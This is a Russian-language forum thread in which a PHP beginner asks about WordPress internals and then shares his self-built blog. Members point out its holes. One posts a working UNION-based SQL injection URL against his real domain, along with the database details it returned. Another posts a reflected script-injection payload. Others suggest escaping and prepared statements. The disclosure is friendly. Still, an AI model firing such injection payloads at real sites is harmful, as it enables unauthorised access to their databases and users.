[PHP] WordPress

Discussion in 'PHP' started by Redfern89, 9 Oct 2012.

  1. Redfern89

    Redfern89 New Member

    Joined:
    12 Jul 2012
    Messages:
    42
    Likes Received:
    1
    Reputations:
    -3
    Привет еще раз всем! К величайшему сожелению я новичек в PHP и прочих web-языках. Но вот хотел спросить одну вещь. Я открыл сорс WordPoress'а. Увидел такое:

    wp-login.php:
    PHP:
    // Redirect to https login if forced to use SSL
    if ( force_ssl_admin() && !is_ssl() ) {
        if ( 
    === strpos($_SERVER['REQUEST_URI'], 'http') ) {
            
    wp_redirect(preg_replace('|^http://|''https://'$_SERVER['REQUEST_URI']));
            exit();
        } else {
            
    wp_redirect('https://' $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
            exit();
        }
    }
    Весь вопрос заключается в том, что я просто не имею ни малейшего понятия, от куда взялась функция wp_redirect. На этой странице даже директивы include нету! Как так то? о_О
     
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Redfern89 Файл wp-login.php инклудится в другом файле, в котором есть инклуд с функцией wp_redirect. Добро пожаловать в пхп, в язык где про пространства имен никто и не слышал почти.
     
    _________________________
  3. Redfern89

    Redfern89 New Member

    Joined:
    12 Jul 2012
    Messages:
    42
    Likes Received:
    1
    Reputations:
    -3
    Gifts, спасибо!) я делаю свой блог. пока только тестирую. Если хотите - модете посмотреть http://api.mmm-zone.ru/ основан на блакноте++. Никаких дырявых вордпресов и тд.
     
  4. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Этот неловкий момент...

    Code:
    _ttp://api.mmm-zone.ru/?showthread=68'
    Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/u3857068/data/www/api.mmm-zone.ru/blog.php on line 98

    Code:
    _ttp://api.mmm-zone.ru/?showthread=688888'+union+all+select+1,unhex(Hex(@@version)),3,4,5,6,7+and+1='2
    User = u3857068_default
    Sql = 5.1.61-rel13.2-log
    Database = u3857068_default


    Но лучше уж сейчас, чем позже =/
     
    _________________________
    2 people like this.
  5. Redfern89

    Redfern89 New Member

    Joined:
    12 Jul 2012
    Messages:
    42
    Likes Received:
    1
    Reputations:
    -3
    я же новичек) а на счет вордпреса я погорячился) надо сделать замену <> символов)))
     
  6. barnaki

    barnaki Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    676
    Likes Received:
    137
    Reputations:
    4
    mysqli_escape_string
    http://www.php.net/manual/ru/function.mysqli-escape-string.php
     
  7. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    barnaki рекомендую рекомендовать использовать подготовленные выражения, а не mysqli_escape_string
     
    _________________________
  8. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    http://api.mmm-zone.ru/?tag=<script>alert('a');</script>
     
  9. Redfern89

    Redfern89 New Member

    Joined:
    12 Jul 2012
    Messages:
    42
    Likes Received:
    1
    Reputations:
    -3
    Спасибо Вам! если еще что-то найдете - пишите))) устаняю

    upd: Ведь просто достаточно теги из запроса удалить?
     
    #9 Redfern89, 15 Oct 2012
    Last edited: 15 Oct 2012